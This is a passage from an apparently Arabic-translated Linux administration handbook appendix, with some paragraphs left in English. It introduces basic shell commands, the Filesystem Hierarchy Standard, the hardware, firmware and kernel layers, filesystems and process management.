$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

يمكن إنشاء مجلد جديد باستخدام الأمر mkdir directory، ويمكن إزالة مجلد (فارغ) موجود سابقًا بالأمر rmdir directory. يسمح الأمر mv بنقل move و/أو إعادة تسمية الملفات والمجلدات؛ ولإزالة الملفات remove استخدم الأمر rm file.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public

B.1.2. استعراض وتعديل الملفات النصية

يقرأ الأمر cat file (يعني concatenate ملف إلى جهاز الإخراج القياسي أي ربطه معه) ملفاً ويعرض محتوياته على الطرفية. إذا كان الملف أكبر من أن يتسع في الشاشة، استعمل أمرَ تصفّحٍ مثل less (أو more) لعرضه صفحة بعد أخرى.

يشغل الأمر editor محرر نصوص (مثل vi أو nano) ويسمح بإنشاء، وتعديل وقراءة الملفات النصية. يمكن إنشاء الملفات البسيطة أحيانًا من مفسِّر الأوامر مباشرة بفضل خاصية إعادة التوجيه: ينشئ الأمر echo "text" >file ملفاً باسم file يحتوي على ”text“. من الممكن إضافة سطر إلى آخر هذا الملف أيضًا، باستخدام الأمر echo "moretext" >>file. لاحظ استخدام >> في هذا المثال.

B.1.3. البحث عن الملفات، والبحث ضمن الملفات

يبحث الأمر find directory criteria عن ملفات تحت المجلد directory وفقاً لعدة معايير. المعيار الأكثر استخداماً هو -name name: الذي يسمح بالبحث عن ملف حسب الاسم.

يبحث الأمر grep expression files في محتويات الملفات ويستخلص السطور التي تطابق التعبير النظامي. (انظر الملاحظة الجانبية أساسيات التعابير المنتظمة). تمكّن إضافة الخيار ‎-r البحث التعاودي على جميع الملفات المحتواة في المجلد المعطى كمتغير. هذا يسمح بالعثور على ملف عندما نعلم جزءًا من محتوياته فقط.

B.1.4. إدارة العمليات

يسرد الأمر ps aux العمليات التي تعمل حالياً ويساعد على التعرف عليها من خلال عرض رقم pid الخاص بها (process id أي معرِّف العملية). بمجرد معرفة pid إحدى العمليات، يسمح الأمر kill -signal pid بإرسال إشارة إليها (إذا كانت العملية خاصة بالمستخدم الحالي). توجد عدة إشارات؛ أكثرها استخداماً TERM (طلب إنهاء العملية بلطف) و KILL (إنهاء قسري).

يسمح مفسر الأوامر أيضاً بتشغيل البرامج في الخلفية إذا اتبعت الأمر بعلامة ”&“. باستخدام هذه العلامة (ampersand)، يتابع المستخدم تحكمه بالصدفة مباشرة بالرغم من أن الأمر لا يزال يعمل (وهو مخفي عن المستخدم؛ كعملية في الخلفية). يسرد الأمر jobs العمليات التي تعمل في الخلفية حالياً؛ إن تشغيل الأمر fg %job-number (اختصاراً لكلمة foreground أي الواجهة) يستعيد البرنامج إلى الواجهة. عندما يعمل البرنامج في الواجهة (سواء لأن تشغيله كان عادياً، أو تمت إعادته إلى الواجهة باستخدام fg)، يوقف المفتاحان Control+Z العملية مؤقتاً ويسمحان بمتابعة التحكم بسطر الأوامر. يمكن بعدها إعادة تشغيل العملية في الخلفية باستخدام bg %job-number (اختصاراً لكلمة background أي الخلفية).

B.1.5. معلومات النظام: الذاكرة، مساحة الأقراص، الهوية

يعرض الأمر free معلومات عن الذاكرة؛ يعطي الأمر df ‏(disk free) تقاريراً عن المساحة المتوفرة على كل واحد من الأقراص المركبة على نظام الملفات. يحوّل خيار ‎-h (اختصاراً للعبارة human readable) الخاص به الأحجام إلى وحدة أكثر وضوحاً (عادة ميبي بايت أو غيبي بايت). وبنفس الأسلوب، يدعم الأمر free الخيار ‎-m والخيار ‎-g، ويعرض بياناته إما بالميبي بايت أو بالغيبي بايت، على التوالي.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

يعرض الأمر id هوية المستخدم الذي يشغل الجلسة، بالإضافة إلى قائمة بالمجموعات التي ينتمي إليها. بما أن الوصول إلى بعض الملفات أو الأجهزة قد يكون محدوداً بأعضاء مجموعة ما، فقد يكون التحقق من عضوية المجموعات مفيداً.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. تنظيم البنية الشجرية لنظام الملفات

B.2.1. المجلد الجذر (Root)

نظام دبيان منظم وفق معيار البنية الشجرية لنظام الملفات File Hierarchy Standard‏ (FHS). يحدد هذا المعيار الغرض من كل مجلد. مثلا، المجلدات في المستوى الأعلى موصوفة كما يلي:

/bin/: البرامج الأساسية؛

/boot/: النواة لينكس وملفات أخرى تحتاجها أثناء عملية الإقلاع المبكرة؛

/dev/: ملفات الأجهزة؛

/etc/: ملفات الإعدادات؛

/home/: ملفات المستخدمين الشخصية؛

/lib/: المكتبات الأساسية؛

/media/*: نقاط ربط للأجهزة النقالة (الأقراص الليزرية، مفاتيح USB وغيرها)؛

/mnt/: نقاط ربط مؤقتة؛

/opt/: تطبيقات إضافية تقدمها أطراف ثالثة؛

/root/: ملفات مدير النظام (المستخدم الجذر) الشخصية؛

/run/: volatile runtime data that does not persist across reboots;

/bin/: برمجيات النظام؛

/srv/: بيانات تستخدمها المخدّمات التي يستضيفها النظام؛

/tmp/: ملفات مؤقتة؛ غالبًا ما يُفرَّغ هذا المجلد عند الإقلاع؛

/usr/: التطبيقات؛ هذا المجلد مقسَّم إلى bin، ‏sbin،‏ lib (وفقاً للأسلوب نفسه المتَّبع في المجلد الجذر نفسه). بالإضافة لذلك، يحوي المجلد /usr/share/ بيانات مستقلة عن المعمارية. والمجلد /usr/local/ مخصص ليستخدمه مدير النظام لتثبيت البرامج يدويًا دون الكتابة فوق الملفات التي يديرها نظام الحزم (dpkg).

/var/: بيانات متغيرة تتحكم بها الخدمات. منها ملفات السجلات (log files)، والأرتال (queues)، و spools، والمخابئ (caches) وهكذا.

/proc/ و /sys/ مخصصة للنواة لينكس (وليست جزءاً من معيار FHS). تستخدم النواة هذين المجلدين لتصدير البيانات إلى فضاء المستخدم (انظر التوضيحات حول هذا المفهوم في قسم B.3.4, “فضاء المستخدم” وقسم B.5, “فضاء المستخدم”).

Note that many modern distributions, Debian included, are shipping /bin, /sbin and /lib as symlinks to the corresponding directories below /usr so that all programs and libraries are available in a single tree. It makes it easier to protect the integrity of the system files, and to share those system files among multiple containers, etc.

B.2.2. مجلد بيت المستخدم (Home)

إن محتويات مجلد بيت المستخدم غير مقيدة بمعيار، لكن توجد بعض العادات الجديرة بالذكر. أحدها أن مجلد بيت المستخدم غالباً ما يرمز له بالتيلدا (”~“). من المفيد أن تعلم ذلك لأن مفسرات الأوامر تستبدل التيلدا أوتوماتيكيًا بالمجلد الصحيح (عادة /home/user/).

تقليديًا، تُخزَّن ملفات إعدادات التطبيقات داخل مجلد بيت المستخدم مباشرة، لكن عادة ما تبدأ أسماؤها بنقطة (مثلاً، عميل البريد mutt يخزن إعداداته في ‎~/.muttrc). الملفات التي يبدأ اسمها بنقطة مخفية افتراضيًا؛ ولا يسردها الأمر ls إلا عند استخدام الخيار -a، أما برامج إدارة الملفات الرسومية فيجب أن تطلب منها عرض الملفات المخفية.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications (such as Firefox) also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

تُخزَّن ملفات الإعداد هذه مباشرة في مجلد بيت المستخدم، ويُشار لها بالإنكليزية غالباً باسم dotfiles، وقد تكاثرت على المدى الطويل حتى ازدحمت بها هذه المجلدات كثيرًا. لحسن الحظ، هناك محاولة جماعية تحت مظلة FreeDesktop.org أفضت إلى معيار جديد يعرف باسم ”XDG Base Directory Specification“، يهدف إلى تنظيم هذه الملفات والمجلدات. ينص هذا المعيار على أن ملفات الإعداد يجب أن تُخزَّن في المجلد ‎~/.config، والملفات المخبئية في ‎~/.cache، وملفات البيانات في ‎~/.local (أو مجلداتها الفرعية). بدأ تبني هذا المعيار ببطئ، وتسعى الكثر من التطبيقات (خصوصًا الرسومية) للالتزام به.

Graphical desktops usually display the contents of the ~/Desktop/ directory (or whatever the appropriate translation is for systems not configured in English) on the desktop (i.e. what is visible on screen once all applications are closed or iconized).

أخيرًا، أحيانا يخزن نظام البريد الإلكتروني البريد الوارد في مجلد ‎~/Mail/‎.

B.3. آلية العمل الداخلية للحاسوب: طبقات الحاسوب المختلفة

يتم التعامل مع الحواسيب بأسلوب تجريدي غالبًا، وتكون الطبقة الظاهرة منه أبسط بكثير من التعقيد الداخلي للحاسوب. ينتج هذا التعقيد جزئياً عن عدد القطع المكونة للحاسوب. إلا أننا نستطيع تصنيف هذه المكونات في طبقات، حيث تتعامل كل طبقة مع الطبقة التي تليها أو تسبقها فقط.

يمكن للمستخدم العادي أن يتدبر أمره دون معرفة هذه التفاصيل… طالما أن كل شيء يعمل على ما يرام. لكن عند مواجهة مشكلة مثل ”الإنترنت لا يعمل!“، فالخطوة الأولى هي تحديد الطبقة التي تسبب المشكلة. هل تعمل بطاقة الشبكة (عتاد)؟ هل تعرَّف عليها الحاسوب؟ هل تستطيع النواة لينكس رؤيتها؟ هل إعدادات الشبكة مضبوطة بشكل صحيح؟ يعزل كل واحد من هذه الأسئلة طبقة مناسبة ويركز على مصدر محتمل للمشكلة.

B.3.1. أعمق طبقة: العتاد

دعنا نبدأ بتذكرة بسيطة بأن الحاسوب هو، أولاً وقبل كل شيء، مجموعة من المكونات المادية. يوجد فيه عموما لوحة رئيسية (تعرف باسم اللوحة الأم)، عليها معالج واحد (أو أكثر)، بعض الذاكرة RAM، متحكمات الأجهزة، ومنافذ توسعة لتركيب البطاقات الإضافية (لمزيد من متحكمات الأجهزة). من أكثر هذه المتحكمات أهمية نذكر IDE (Parallel ATA)‎، وSCSI وSerial ATA، لتوصيل الأجهزة التخزينية مثل الأقراص الصلبة. من المتحكمات الأخرى USB، الذي يستطيع استضافة مجموعة متنوعة جدًا من الأجهزة (من كاميرات الوب إلى موازين الحرارة، ومن لوحات المفاتيح إلى نظم أتمتة المنازل) و IEEE 1394 (فاير واير). غالباً ما تسمح هذه المتحكمات بتوصيل عدة أجهزة ولذلك عادة ما يطلق اسم ”ناقل“ على النظام الفرعي الكامل الذي يديره المتحكم. من البطاقات الإضافية بطاقات الرسوميات (التي توصل شاشة الحاسوب إليها)، بطاقات الصوت، بطاقات الشبكات، وغيرها. في بعض اللوحات الرئيسية تكون هذه المزايا مبيتة فيها، ولا تحتاج إلى بطاقات إضافية.

ممارسة عملية تحقق أن العتاد يعمل

قد يكون التحقق من أن قطعة عتاد تعمل بشكل صحيح معقدًا. من ناحية أخرى، فإن إثبات أن تلك القطعة لا تعمل بالغ البساطة أحيانا.

يتألف القرص الصلب من أطباق دائرة ورؤوس مغناطيسية متحركة. عند توصيل الطاقة للقرص الصلب، يعطي محرك الأطباق أزيزا مميزا. كما أنه يبدد الطاقة بشكل حرارة. بالتالي، فإن سواقة الأقراص الصلبة التي تبقى باردة وهادئة عند تشغيلها معطوبة.

تحوي بطاقات الشبكة عادة أضواء LED تبين حالة الوصلة. إذا وصِل بها سلك وكان يؤدي إلى موزع (hub) أو تحويلة (switch) شبكة فعالة، سيضيء LED واحد على الأقل. إذا لم يعمل أي LED، فإما البطاقة ذاتها، أو جهاز الشبكة، أو السلك بينهما سبب المشكلة. الخطوة التالية إذن اختبار كل مكون من هذه على حدة.

بعض البطاقات الإضافية — خصوصاً بطاقات الفيديو ثلاثي الأبعاد — تحوي أجهزة تبريد، مثل مبرِّدات معدنية أو مراوح. إذا لم تدر المروحة بالرغم من تشغيل البطاقة، فقد يكون تفسير ذلك أن البطاقة ساخنة أكثر من اللازم. هذا ينطبق أيضاً على المعالجات الأساسية الموضوعة على اللوحة الرئيسية.

B.3.2. مفتاح التشغيل: BIOS أو UEFI

العتاد وحده غير قادر على تنفيذ مهام مفيدة دون البرمجية المناسبة التي تقوده. إن التحكم والتفاعل مع العتاد هو هدف نظام التشغيل والتطبيقات. وهذه بدورها تحتاج إلى عتاد سليم لتعمل.

هذا التضامن بين العتاد والبرمجيات لا يكون هكذا وحده. عند بدء تشغيل الحاسوب، توجد حاجة لبعض الإعداد الأولي. يقوم بيوس (BIOS) أو UEFI (في الأجهزة الأحدث) بهذا الدور، وهي برمجية مضمّنة في اللوحة الرئيسية تعمل تلقائياً عند التشغيل. مهمتها الأساسية هي البحث عن برمجيات يمكن أن تسلمها التحكم بالجهاز. في الحواسيب التي تستخدم BIOS، يشمل هذا عادة البحث عن القرص الصلب الأول الذي يحوي قطاع إقلاعي (يُعرف أيضا باسم سجل الإقلاع الرئيسي Master Boot Record أو MBR)، وتحميل ذلك القطاع، وتشغيله. بعد ذلك، لا يتدخل بيوس في شيء (حتى الإقلاع التالي). أما في UEFI، فالعملية تشمل فحص الأقراص بحثاًَ عن قسم EFI محدد يحوي تطبيقات EFI إضافية لتنفيذها.

أدوات Setup، أداة إعداد بيوس أو UEFI

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select an USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2 or F10. Most of the time, the choice is flashed on screen while booting.

يحتوي القطاع الإقلاعي (أو قسم EFI) بدوره على برمجية أخرى، تدعى مُحمِّل الإقلاع (bootloader)، غرضها العثور على نظام التشغيل وبدء تشغيله. نظراً لأن محمل الإقلاع هذا ليس مضمَّناً في اللوحة الرئيسية بل يتم تحميله من القرص، يمكن أن يكون متطوراً أكثر من بيوس، ما يفسر عدم تحميل نظام التشغيل بوساطة بيوس نفسه. مثلا، يمكن لمحمَّل الإقلاع (غالباً ما يكون GRUB على نظم لينكس) أن يسرد نظم التشغيل المتوفرة وأن يطلب من المستخدم اختيار واحد منها. عادة، يتم توفير خَيَار إفتراضي يتم اختياره تلقائياً بعد انقضاء فترة زمنية معينة. يمكن أحياناً أن يختار المستخدم أيضاً إضافة خيارات لتمريرها للنواة، وهكذا. في النهاية سيُعثَر على نواة ما، وسَتُحمَّل إلى الذاكرة، ويبدأ تنفيذها.

ملاحظة UEFI، بديل عصري لنظام BIOS

Most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI.

يزيل هذا النظام الجديد بعض نواحي القصور في إقلاع BIOS: فباستخدام قسم مخصص، لم تعد هناك حاجة لخدع خاصة لتوسعة مُحمِّلات الإقلاع في سجل الإقلاع الرئيسي الصغير وبعد ذلك اكتشاف النواة التي ستقلع. بل الأفضل من ذلك، يستطيع UEFI الإقلاع بنواة لينكس مباشرة دون أي محمل إقلاع وسيط، إذا كانت النواة مبنية بشكل مناسب. كما أن UEFI هو الركيزة الأساسية في تقديم تقنية الإقلاع الآمن Secure Boot، وهي التقنية التي تضمن أنك لا تستخدم إلا البرمجيات التي صادق عليها صانع نظام تشغيلك.

بيوس (أو UEFI) مسؤول أيضاً عن التعرف على عدد من الأجهزة وتهيئتها. من الواضح أن هذا يتضمن أجهزة IDE/SATA (عادة الأقراص الصلبة وسواقات الأقراص الليزرية)، وأيضًا أجهزة PCI. غالبًا ما تُسرَد الأجهزة التي تم التعرف عليها على الشاشة أثناء عملية الإقلاع. إذا كانت هذه القائمة تختفي بسرعة، استعمل مفتاح Pause لتجميدها فترة تكفيك لقراءتها. أجهزة PCI التي لا تظهر هي نذير شؤم. في أسوأ الحالات، الجهاز معطوب. وفي أفضلها، الجهاز غير متوافق مع إصدارة بيوس الحالية أو غير متوافق مع اللوحة الرئيسية. فمواصفات PCI في تطور، ولا أحد يضمن أن اللوحات الرئيسية القديمة ستتوافق مع أجهزة PCI الأحدث منها.

B.3.3. النواة

يعمل كلُّ من بيوس أو UEFI ومحمّل الإقلاع لثوان قليلة فقط لكل منهما؛ لقد وصلنا الآن إلى البرمجية الأولى التي تعمل لفترة أطول، ألا وهي نواة نظام التشغيل. تتولى النواة مهمة المايسترو في الأوركسترا، وتكفل التناغم بين العتاد والبرمجيات. هذا الدور يتضمن عدة مهام منها: قيادة العتاد، إدارة العمليات، والمستخدمين والصلاحيات، ونظام الملفات، وغيرها. تقدم النواة قاعدة مشتركة لجميع البرامج الأخرى في النظام.

B.3.4. فضاء المستخدم

بالرغم من أننا نستطيع جمع كل ما يحدث خارج النواة معًا تحت اسم ”فضاء المستخدم user space“، إلا أنه يمكن تقسيم هذه الأحداث إلى طبقات برمجية. على أية حال، فإن التفاعلات بين هذه الطبقات أعقد من سابقتها، وقد لا تكون تصنيفات هذه الطبقات بالسهولة نفسها. من الشائع أن تستفيد التطبيقات من المكتبات، والتي بدورها تستعين بالنواة، وقد تدخل برامج أخرى في هذه الاتصالات، أو يمكن أن تستدعي عدة مكتبات بعضها البعض.

B.4. بعض المهام التي تتحكم بها النواة

B.4.1. إدارة العتاد

النواة تهتم، أولاً وقبل كل شيء، بالتحكم بقطع العتاد، والتعرف عليها، تشغيلها عند تشغيل الحاسوب، وهكذا. كما أنها توفر واجهة برمجية مبسطة للعتاد تستفيد منها البرمجيات عالية المستوى، حتى تستثمر التطبيقات مزايا العتاد دون الحاجة للاهتمام بالتفاصيل مثل أي منفذ توسعة تم تركيب البطاقة الإضافية عليه. تُقدّم الواجهة البرمجية أيضًا طبقة عزل؛ تسمح هذه لبرمجيات الاجتماعات المرئية مثلاً، باستخدام كاميرا الوب بغض النظر عن الشركة الصانعة وطرازها. يستطيع البرنامج استخدام واجهة Video for Linux‏ (V4L) ببساطة، وسوف تترجم النواة استدعاءات دوال هذه الواجهة إلى أوامر العتاد الفعلية التي تحتاجها كاميرا الوب الخاصة المستعملة.

تُصدِّر النواة العديد من التفاصيل عن العتاد الذي تعرفت عليه من خلال نظامي الملفات الوهميين /proc/ و /sys/. تُلَخِّص العديد من الأدوات هذه التفاصيل. من بينها، lspci (في الحزمة pciutils) التي تسرد أجهزة PCI، والأداة lsusb (في الحزمة usbutils) التي تسرد أجهزة USB، وأيضًا lspcmcia (في الحزمة pcmciautils) التي تسرد بطاقات PCMCIA. هذه الأدوات مفيدة جداً للتعرف على الطراز الدقيق للجهاز. بعد ذلك يمكن البحث في الوب بدقة أعلى، وبالتالي، الحصول على وثائق ذات صلة أكثر.

مثال B.1. مثال عن المعلومات التي يقدمها الأمر lspci والأمر lsusb

$ lspci [...] 00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03) 00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03) 00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03) [...] 01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01) 02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05) $ lsusb Bus 005 Device 004: ID 413c:a005 Dell Computer Corp. Bus 005 Device 008: ID 413c:9001 Dell Computer Corp. Bus 005 Device 007: ID 045e:00dd Microsoft Corp. Bus 005 Device 006: ID 046d:c03d Logitech, Inc. [...] Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

These programs have a -v option that lists much more detailed (but usually not necessary) information. Finally, the lsdev command (in the procinfo package) lists communication resources used by devices.

تصل التطبيقات إلى الأجهزة غالباً عبر ملفات خاصة منشأة ضمن المجلد /dev/ (انظر الملاحظة الجانبية أساسيات صلاحيات الوصول للأجهزة). هذه الملفات هي ملفات خاصة تمثّل سواقات الأقراص الصلبة (مثلاً، /dev/hda و /dev/sdc)، أو أقسام الأقراص (مثلاً، /dev/hda1 أو /dev/sdc3)، الفأرات (/dev/input/mouse0)، لوحات المفاتيح (/dev/input/event0)، بطاقات الصوت (‎/dev/snd/*‎)، المنافذ التسلسلية (‎/dev/ttyS*‎)، وغيرها.

B.4.2. نظم الملفات

نظم الملفات هي إحدى أهم مظاهر النواة. تدمج النظم المشابهة لنظام يونكس جميع أجهزة تخزين الملفات في شجرة واحدة، والتي تسمح للمستخدمين (والتطبيقات) بالوصول إلى البيانات ببساطة بمعرفة مكانها ضمن تلك الشجرة.

تدعى نقطة البداية لهذه الشجرة الهرمية بالجذر root، ويرمز لها بالرمز /. يستطيع هذا المجلد أن يحوي مجلدات فرعية مسماة. مثلا، يدعى مجلد home (البيت) المتفرع عن / باسم /home/. يمكن لهذا المجلد الفرعي، بدوره، أن يحوي مجلدات فرعية أخرى، وهكذا. يمكن لكل مجلد أيضًا أن يحوي ملفات، حيث يتم تخزين البيانات الفعلية. بالتالي، يشير الاسم /home/rmas/Desktop/hello.txt إلى الملف المسمى hello.txt المخزن في المجلد Desktop المتفرع عن المجلد rmas المتفرع عن المجلد home الموجود في الجذر. تترجم النواة بين نظام التسمية هذا وبين نظام التخزين الفعلي الفيزيائي على القرص.

بعكس نظم التشغيل الأخرى، توجد شجرة ملفات واحدة فقط، ويمكن لها أن تضم بيانات من أقراص متعددة. يستخدم أحد هذه الأقراص كجذر، والبقية ”تُربط mount“ بمجلدات في الشجرة (اسم الأمر في يونكس هو mount)؛ تتوفر هذه الأقراص الأخرى بعدئذ تحت ”نقاط الربط mount points“ هذه. يسمح هذا بتخزين مجلدات بيوت المستخدمين (المخزنة ضمن مجلد /home/ تقليديًا) على قرص ثان، الذي سيحوي مجلدات rhertzog و rmas. بمجرد ربط القرص مع /home/، تصبح هذه المجلدات متاحة للوصول من أماكنها المعتادة، وتبقى المسارات مثل /home/rmas/Desktop/hello.txt صالحة.

There are many filesystem formats, corresponding to many ways of physically storing data on disks. The most widely known are ext3 and ext4, but others exist. For instance, vfat is the system that was historically used by DOS and Windows operating systems, which allows using hard disks under Debian as well as under Windows. In any case, a filesystem must be prepared on a disk before it can be mounted and this operation is known as “formatting”. Commands such as mkfs.ext3 (where mkfs stands for MaKe FileSystem) handle formatting. These commands require, as a parameter, a device file representing the partition to be formatted (for instance, /dev/sda1). This operation is destructive and should only be run once, except if one deliberately wishes to wipe a filesystem and start afresh.

بل هناك نظم ملفات شبكية أيضاً، مثل NFS، حيث لا تخزن البيانات على قرص محلي. بل ترسل البيانات عبر الشبكة إلى مخدم يخزنها ويسترجعها حسب الطلب. إن تجريد نظم الملفات يحمي المستخدمين من الحاجة للاهتمام بذلك: تبقى الملفات متوفرة للوصول بالطريقة الشجرية المعتادة.

B.4.3. الوظائف المشتركة

نظرًا لوجود عدد من الوظائف (functions) المتشابهة التي تستخدمها جميع البرمجيات، فمن المنطق تجميعها في النواة. مثلاً، تسمح الإدارة المشتركة لنظام الملفات لأي تطبيق بفتح أي ملف عبر استخدام اسمه ببساطة، دون الحاجة للاهتمام بمكان تخزين الملف فيزيائيًا. يمكن أن يخزَّن الملف في عدة شرائح مختلفة على قرص صلب، أو ينقسم بين عدة أقراص، أو حتى يخزَّن على مخدم ملفات بعيد. تستخدم التطبيقات دوال التواصل المشتركة لتبادل البيانات بغض النظر عن طريقة نقلها. مثلاً، يمكن أن تُنقَل عبر أية تركيبة من الشبكات المحلية أو اللاسلكية، أو عبر خط الهاتف الثابت.

B.4.4. إدارة العمليات

العملية هي نسخة فعالة من البرنامج. تحتاج كل عملية إلى ذاكرة لتخزين كُلٍّ من البرنامج نفسه والبيانات التي يعمل عليها. النواة مسؤولة عن إنشاء وتتبع العمليات. عند تشغيل برنامج، تخصص له النواة جزءًا من الذاكرة، ثم تُحمِّل الشفرة التنفيذية من نظام الملفات إليه، بعدها تبدأ تشغيل الشِّفرة. تحتفظ النواة بمعلومات عن هذه العملية، أكثر هذه المعلومات بيانًا للعيان هو رقم تعريف العملية الذي يعرف بالرمز pid (مُعرِّف العملية process identifier).

نوى نظم التشغيل المشابهة لنظام يونكس (بما فيها لينكس)، ومعظم نظم التشغيل الحديثة الأخرى، تدعم ”تعدد المهام“. بكلمات أخرى، تسمح هذه النوى بتشغيل العديد من العمليات ”في الوقت نفسه“. في الحقيقة توجد مهمة واحدة تعمل في الوقت الواحد، لكن النواة تقسم الوقت إلى شرائح قصيرة وتشغل كل عملية بالدور. ونظراً لقصر هذه الشرائح الزمنية الشديد (من رتبة الميللي ثانية)، يتولد سراب العمليات التي تعمل على التوازي، بالرغم من أنها في الواقع فعالة فقط خلال بعض الفترات الزمنية وخاملة بقية الوقت. مهمة النواة هي ضبط آلية جدولة هذه الفترات للإبقاء على هذا الوهم، مع رفع أداء النظام الكلي إلى أعظم ما يمكن. إذا كانت الشرائح الزمنية طويلة جداً، فقد يفقد التطبيق قدرته على التجاوب بالشكل المقبول. وإذا كانت قصيرة جداً، سيضيّع النظام الوقت في التبديل بين المهام بشكل متكرر. يمكن إحكام هذه القرارات باستخدام أولويات العمليات. العمليات ذات الأولوية العالية ستعمل في شرائح زمنية أطول ولها تواتر أعلى من شرائح العمليات ذات الأولوية المنخفضة.

ملاحظة الأنظمة متعددة المعالجات (ومشتقاتها)

هذا القيد الذي ذكرناه عن أنه لا يمكن تشغيل إلا عملية واحدة في الوقت نفسه لا ينطبق على كافة الحالات. القيد الحقيقي هو أنه يمكن أن توجد عملية واحدة لكل نواة معالج تعمل في الوقت الواحد. النظم ذات المعالجات المتعددة، أو معالجات بنوى متعددة أو ”متعددة قنوات المعالجة hyper-threaded“ تسمح لعدة عمليات بالعمل على التوازي. ومع ذلك فإن نظام تقسيم الوقت نفسه لا يزال مستخدماً، حتى يدير الحالات التي يكون فيها عدد العمليات النشطة أكبر من عدد نوى المعالجات المتوفرة. هذه هي الحالة المعتادة: فنظام التشغيل البسيط، حتى لو كان خاملاً معظم الأوقات، يكون فيه عشرات العمليات الفعالة دائماً تقريباً.

طبعاً، تسمح النواة بتشغيل أكثر من نسخة مستقلة من البرنامج نفسه. لكن كل واحدة منها تستطيع استخدام ذاكرتها وشرائحها الزمنية الخاصة فقط. وبذلك تبقى بياناتها مستقلة.

B.4.5. إدارة الصلاحيات

نظم التشغيل المشابهة لنظام يونكس متعددة المستخدمين أيضاً. فهي تقدم نظام إدارة صلاحيات يدعم وجود مستخدمين ومجموعات منفصلة؛ كما يسمح أيضاً بالتحكم بالأعمال الجارية اعتماداً على الصلاحيات. تدير النواة بيانات لكل عملية على حدة تسمح لها بالتحكم بالصلاحيات. في معظم الأوقات، تُعرَّفُ العملية بهوية المستخدم الذي بدأ تنفيذها. يُسْمَح لتلك العملية بتنفيذ الأفعال نفسها المتاحة لمالكها فقط. مثلاً، تحتاج محاولة فتح ملف من النواة التحقق من هوية العملية استناداً لصلاحيات الوصول (لمزيد من التفاصيل عن هذا المثال بالذات، انظر قسم 9.3, “إدارة الصلاحيات”).

B.5. فضاء المستخدم

يشير ”فضاء المستخدم user space“ إلى بيئة تشغيل العمليات العادية (مقارنة بعمليات النواة). لا يعني هذا بالضرورة أن المستخدم يُشَغِّل هذه العمليات لأن النظام القياسي يحوي في الحالة الطبيعية عدة عمليات خدمية (تعمل في الخلفية) تعمل قبل أن يفتح المستخدم أي جلسة عمل أصلاً. تعتبر العمليات الخدمية تابعة لفضاء المستخدم أيضاً.

B.5.1. عملية

عندما تنهي النواة طور تهيئتها، تبدأ العملية الأولى، init. العملية #1 وحدها نادراً ما تكون مفيدة بحد ذاتها، ونظم التشغيل المشابهة لنظام يونكس تحوي عمليات إضافية عديدة.

أولاً، يمكن للعملية استنساخ نفسها (تعرف هذه العملية بالاشتقاق fork). تخصص النواة مساحة ذاكرة جديدة للعملية (لكن مطابقة للقديمة)، وعملية أخرى لاستخدامها. عند هذه اللحظة، الاختلاف الوحيد بين العمليتين هو رقم التعريف pid. تدعى العملية الجديدة بالعملية الابن عادة، والعملية الأصل التي لم يتغير رقم تعريفها، بالعملية الأم.

أحياناً تتابع العملية الابن قيادة حياتها الخاصة مستقلة عن الأم، باستخدام بياناتها الخاصة المنسوخة عن العملية الأم.لكن في حالات عديدة تنفذ هذه العملية الابن برنامجاً آخر، حيث تُستَبدل ذاكرتها ببساطة بذاكرة البرنامج الجديد، ويبدأ تنفيذ هذا البرنامج إلا في بعض الاستثناءات القليلة. هذه هي الآلية التي تعتمدها عملية init (العملية رقم 1) لبدء الخدمات الإضافية وتنفيذ سلسلة الإقلاع كلها. وفي لحظة ما، تبدأ إحدى العمليات من ذرية init واجهة رسومية حتى يسجل المستخدمون دخولهم (التسلسل الحقيقي للأحداث مشروح بمزيد من التفصيل في قسم 9.1, “إقلاع النظام”).

